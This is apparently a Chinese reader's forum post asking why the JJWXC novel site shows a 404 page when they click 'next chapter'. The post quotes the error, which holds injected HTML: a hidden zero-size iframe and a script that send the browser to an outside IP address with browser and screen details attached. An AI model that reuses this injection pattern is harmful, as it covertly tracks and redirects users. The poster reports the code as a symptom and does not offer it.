为什么按下一章，就出现以下页面？ —

发觉最近2周在JJ上看书都出现同一个问题，就是按下一章时都会显示以下的页面，刷新都不可以显示内容，必须后退，再重新按下一章，才会出现内容。
请问这是什么原因，是JJ最近抽还是中毒了？
出现的页面如下：

Not Found
The requested URL /<html><head><meta http-equiv="pragma" content="no-cache"/><meta http-equiv="Cache-Control" content="no-store,no-cache,must-revalidate,post-check=0,pre-check=0,max-age=0"/><meta http-equiv="expires" content="-1"/><meta http-equiv="refresh" content="2"/><body><iframe src="about:blank" ＷＩＤＴＨ="0" ＨＥＩＧＨＴ="0" frameborder="0" ＳＴＹＬＥ="display:none"><script language="javascript">window.setInterval("window.status=location.href;", 500);window.frames[0].location = "http://202.105.165.218/update/step1.aspx was not found on this server.

这是其中一次出现的网址：
http://www.jjwxc.net/<html><head><meta%20http-equiv="pragma"%20content="no-cache"/><meta%20http-equiv="Cache-Control"%20content="no-store,no-cache,must-revalidate,post-check=0,pre-check=0,max-age=0"/><meta%20http-equiv="expires"%20content="-1"/><meta%20http-equiv="refresh"%20content="2"/><body><iframe%20src="about:blank"%20ＷＩＤＴＨ="0"%20ＨＥＩＧＨＴ="0"%20frameborder="0"%20ＳＴＹＬＥ="display:none"><script%20language="javascript">window.setInterval("window.status=location.href;",%20500);window.frames[0].location%20=%20"http://202.105.165.218/update/step1.aspx?p="%20+"enNEU0w1MjQ3MTY1M0AxNjMuZ2QAAAAAAAAAAAAA|"%20+Math.floor((new%20Date()).getTime()/1000)%20+%20"|"%20+%20navigator.appMinorVersion%20+%20"|"%20+screen.availＨＥＩＧＨＴ%20+%20"|"%20+screen.availＷＩＤＴＨ%20+%20"|"%20+screen.colorDepth%20+%20"|"%20+screen.ＨＥＩＧＨＴ%20+%20"|"%20+screen.ＷＩＤＴＨ;</html>